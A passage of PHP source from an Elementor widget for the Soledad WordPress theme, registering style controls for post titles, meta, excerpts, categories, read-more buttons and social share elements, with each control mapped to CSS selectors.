					'boxed-1',
					'boxed-2',
					'mixed',
					'standard-boxed-1'
				)
			),
		) );
		$this->add_control( 'post_bg_color', array(
			'label'     => __( 'Post Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li .item' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'penci_style' => array(
					'list-boxed',
					'list-boxed-2',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
				)
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .thumbnail' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'ptitle_style', array(
			'label' => __( 'Post Title', 'soledad' ),
			'type'  => Controls_Manager::HEADING,
		) );

		$ptitle_typo = '{{WRAPPER}} .entry-title,{{WRAPPER}} .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard .entry-title,{{WRAPPER}} .header-standard .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .overlay-header-box .entry-title,{{WRAPPER}} .overlay-header-box .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard h2, {{WRAPPER}} .header-standard h2 a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard .pc_titlebig_standard, {{WRAPPER}} .pc_titlebig_standard a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-grid li .item h2 a, {{WRAPPER}} .penci-grid li .item h2 a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-biggrid-data .pcbg-content-inner .pcbg-title a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-masonry .item-masonry h2 a,{{WRAPPER}} .penci-masonry .item-masonry h2 a';
		$this->add_control( 'ptitle_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				$ptitle_typo => 'color: {{VALUE}};'
			),
		) );
		$this->add_control( 'ptitle_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .header-standard h2 a:hover,{{WRAPPER}} .entry-title a:hover'                        => 'color: {{VALUE}};',
				'{{WRAPPER}} .pc_titlebig_standard a:hover'                                                       => 'color: {{VALUE}};',
				'{{WRAPPER}} .overlay-header-box .overlay-title a:hover'                                          => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-biggrid-data .pcbg-content-inner .pcbg-title a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-grid li .item h2 a:hover,{{WRAPPER}} .penci-masonry .item-masonry h2 a:hover' => 'color: {{VALUE}};'
			),
		) );

		$this->add_control( 'bptitle_color', array(
			'label'     => __( 'Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-overlay .penci-entry-title a' => 'color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );
		$this->add_control( 'bptitle_hcolor', array(
			'label'     => __( 'Hover Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .grid-overlay .penci-entry-title a:hover' => 'color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );

		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .entry-title a' 		=> 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .entry-title a:hover'  => 'background-size: 100% 1px;',
			),
		) );
		
		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .entry-title a' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'ptitle_typo',
			'selector' => $ptitle_typo
		) );
		$this->add_responsive_control( 'bptitle_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .grid-mixed .mixed-detail h2,{{WRAPPER}} .grid-mixed .mixed-detail h2 a'                                                                                           => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .entry-title,{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .entry-title a'                         => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .grid-style .item h2,{{WRAPPER}} .penci-latest-posts-mixed-3 .grid-style .item h2 a'                                                   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-title,{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-title a'                                               => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-title a'       => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-title a'   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-title a'       => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-title a' => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-title a'         => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-title a'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-title,{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-title a'         => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid .overlay-header-box .entry-title,{{WRAPPER}} .penci-latest-posts-overlay-grid .overlay-header-box .entry-title a'                 => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .overlay-header-box .entry-title,{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .overlay-header-box .entry-title a'             => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-list .overlay-header-box .entry-title,{{WRAPPER}} .penci-latest-posts-overlay-list .overlay-header-box .entry-title a'                 => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .overlay-header-box .entry-title,{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .overlay-header-box .entry-title a'           => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .entry-title,{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .entry-title a'                       => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array( 'penci_style' => $style_big_post ),
		) );
		// Post meta
		$this->add_control( 'heading_meta_style', array(
			'label'     => __( 'Post Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pmeta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .header-standard .author-post span,' . '{{WRAPPER}} .penci-post-box-meta .penci-box-meta span,' . '{{WRAPPER}} .penci-post-box-meta .penci-box-meta a' => 'color: {{VALUE}};',
				'{{WRAPPER}} .overlay-author span,{{WRAPPER}} .overlay-author a'                                                                                                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .overlay-post-box-meta .overlay-share span,' . '{{WRAPPER}} .overlay-post-box-meta .overlay-share a,' . '{{WRAPPER}} .overlay-post-box-meta'           => 'color: {{VALUE}};',
				'{{WRAPPER}} .grid-post-box-meta span'                                                                                                                              => 'color: {{VALUE}};',

			),
		) );
		$this->add_control( 'author_color', array(
			'label'     => __( 'Author Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .header-standard .author-post span a,{{WRAPPER}} .overlay-author a,{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'bpauthor_color', array(
			'label'     => __( 'Author Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .grid-overlay .overlay-author span,{{WRAPPER}} .grid-overlay .overlay-author a' => 'color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );

		$this->add_control( 'pmeta_hcolor', array(
			'label'     => __( 'Post Meta Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-post-box-meta .penci-box-meta a:hover' => 'color: {{VALUE}};',
				'{{WRAPPER}} .overlay-author a:hover'                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .grid-post-box-meta span a:hover'             => 'color: {{VALUE}};',
			),
		) );

		$pmeta_typo = '{{WRAPPER}} .header-standard .author-post,';
		$pmeta_typo .= '{{WRAPPER}} .penci-post-box-meta .penci-box-meta span,';
		$pmeta_typo .= '{{WRAPPER}} .penci-post-box-meta .penci-box-meta a,';
		$pmeta_typo .= '{{WRAPPER}} .overlay-author a,';
		$pmeta_typo .= '{{WRAPPER}} .overlay-header-box .overlay-author,';
		$pmeta_typo .= '{{WRAPPER}} .grid-post-box-meta';

		$pmeta_typo_bpost = '{{WRAPPER}} %1$s .header-standard .author-post,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .penci-post-box-meta .penci-box-meta span,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .penci-post-box-meta .penci-box-meta a,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .overlay-author a,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .overlay-header-box .overlay-author,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .grid-post-box-meta';

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pmeta_typo',
			'selector' => $pmeta_typo
		) );
		$this->add_responsive_control( 'bpmeta_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed .grid-mixed' )                        => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed-2 .item.overlay-layout' )             => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid article.format-standard' )    => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid-2 article.format-standard' )  => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-list article.format-standard' )    => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-boxed-1 article.format-standard' ) => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid article.format-standard' )     => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid-2 article.format-standard' )   => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-list article.format-standard' )     => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid .overlay-layout' )             => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid-2 .overlay-layout' )           => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-list .overlay-layout' )             => 'font-size: {{SIZE}}px !important',
				sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-boxed-1 .overlay-layout' )          => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .grid-post-box-meta'          => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array( 'penci_style' => $style_big_post ),
		) );

		$this->add_control( 'pmeta_border_color', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .header-standard:after'                        => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-overlay-over .overlay-header-box:after' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .grid-header-box:after'                        => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-post-box-meta'                          => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'bpmeta_border_color', array(
			'label'     => __( 'Border Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .grid-overlay .penci-overlay-over .overlay-header-box:after' => 'background-color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );
		$this->add_control( 'list_post_meta_bg', array(
			'label'     => __( 'Background Color for Post Meta', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .list-post-3 .grid-post-box-meta' => 'background-color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => 'list-boxed-3' ),
		) );


		// Post Excrept
		$markup_excrept = '{{WRAPPER}} .post-entry.standard-post-entry, {{WRAPPER}} .post-entry.standard-post-entry p,';
		$markup_excrept .= '{{WRAPPER}} .penci-grid .entry-content,{{WRAPPER}} .penci-grid .entry-content p,';
		$markup_excrept .= '{{WRAPPER}} .entry-content,{{WRAPPER}} .entry-content p, {{WRAPPER}} .penci-bgitem .pcbg-pexcerpt p';

		$this->add_control( 'heading_excerpt_style', array(
			'label'     => __( 'Post Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pexcerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( $markup_excrept => 'color: {{VALUE}};' )
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pexcerpt_typo',
			'selector' => $markup_excrept,
		) );
		$this->add_responsive_control( 'bpexcerpt_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-content,{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-content p'                                               => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-content p'       => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-content p'   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-content p'       => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-content p' => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-content p'         => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-content p'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-content p'         => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array(
				'penci_style' => array(
					'mixed',
					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list'
				)
			),
		) );

		// Category
		$this->add_control( 'heading_cat_style', array(
			'label'     => __( 'Post Category', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pcat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .cat > a.penci-cat-name'                                                                        => 'color: {{VALUE}};',
				'{{WRAPPER}} .cat > a.penci-cat-name:after, {{WRAPPER}} .overlay-header-box .cat > a.penci-cat-name:after'   => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-grid .cat a.penci-cat-name:after,{{WRAPPER}} .penci-masonry .cat a.penci-cat-name:after' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'pcat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'bpcat_color', array(
			'label'     => __( 'Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .grid-overlay .cat > a.penci-cat-name'                                                                                            => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-featured-infor .cat > a.penci-cat-name:after, {{WRAPPER}} .grid-overlay .overlay-header-box .cat > a.penci-cat-name:after' => 'border-color: {{VALUE}};',
			),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );
		$this->add_control( 'bpcat_hcolor', array(
			'label'     => __( 'Hover Color for Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-overlay .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $color_big_post ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcat_typo',
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );
		$this->add_responsive_control( 'bpcat_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .cat > a.penci-cat-name'                        => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .cat > a.penci-cat-name'             => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .cat > a.penci-cat-name'    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .cat > a.penci-cat-name'  => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .cat > a.penci-cat-name'    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .cat > a.penci-cat-name' => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .cat > a.penci-cat-name'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .cat > a.penci-cat-name'   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .cat > a.penci-cat-name'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid .grid-overlay .cat > a.penci-cat-name'               => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .grid-overlay .cat > a.penci-cat-name'             => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-list .grid-overlay .cat > a.penci-cat-name'               => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .grid-overlay .cat > a.penci-cat-name'            => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .cat > a.penci-cat-name'            => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array( 'penci_style' => $style_big_post ),
		) );

		// Read more button
		$this->add_control( 'heading_readmore_style', array(
			'label'     => __( 'Continue Reading/Read More Button', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'readmore_text_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmore_text_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmorebt_text_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-readmore-btn a' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmorebt_text_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-readmore-btn a:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmore_bg_color', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-readmore-btn.penci-btn-make-button a, {{WRAPPER}} .standard-content .penci-more-link.penci-more-link-button a.more-link' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmore_bg_hcolor', array(
			'label'     => __( 'Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-readmore-btn.penci-btn-make-button a:hover, {{WRAPPER}} .standard-content .penci-more-link.penci-more-link-button a.more-link:hover' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'label'    => __( 'Continue Reading Typography', 'soledad' ),
			'name'     => 'readmore_text_typo',
			'selector' => '{{WRAPPER}} .penci-more-link a.more-link, {{WRAPPER}} .standard-content .penci-more-link.penci-more-link-button a.more-link',
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'label'    => __( 'Read More Button Typography', 'soledad' ),
			'name'     => 'readmorebtn_text_typo',
			'selector' => '{{WRAPPER}} .penci-readmore-btn a',
		) );
		$this->add_control( 'readmore_line_color', array(
			'label'     => __( 'Line Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link:before,{{WRAPPER}} .penci-more-link a.more-link:after' => 'border-color: {{VALUE}};' ),
		) );

		// Social Share
		$this->add_control( 'heading_socialshare_style', array(
			'label'     => __( 'Social Share', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'socialshare_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a, {{WRAPPER}} .penci-featured-share-box a' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'socialshare_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a:hover, {{WRAPPER}} .penci-featured-share-box a:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'socialshare_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-featured-share-box .penci-shareic, {{WRAPPER}} .penci-featured-share-box .penci-shareso' => 'background-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $style_extra_post ),
		) );
		$this->add_control( 'socialshare_line_color', array(
			'label'     => __( 'Line Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid:before' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'socialshare_typo',
			'selector' => '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a',
		) );
		$this->add_responsive_control( 'bsocialshare_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .penci-post-box-meta .penci-post-share-box a'             => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .penci-post-box-meta .penci-post-share-box a'                        => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .penci-post-box-meta .penci-post-share-box a'    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a'  => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .penci-post-box-meta .penci-post-share-box a'    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .penci-post-box-meta .penci-post-share-box a' => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .penci-post-box-meta .penci-post-share-box a'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a'   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .penci-post-box-meta .penci-post-share-box a'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid .grid-overlay .penci-post-share-box a'                                    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .grid-overlay .penci-post-share-box a'                                  => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-list .grid-overlay .penci-post-share-box a'                                    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .grid-overlay .penci-post-share-box a'                                 => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-4 .grid-featured .penci-post-share-box a'                                        => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array( 'penci_style' => $style_big_post ),
		) );

		// Social Share
		$this->add_control( 'heading_extra_style', array(
			'label'     => __( 'Extra Options', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'penci_style' => $style_extra_post ),
		) );

		$this->add_control( 'borders_color_sfeatured', array(
			'label'     => __( 'Borders Color for Featured Boxed Style', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-featured' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $style_extra_post ),
		) );

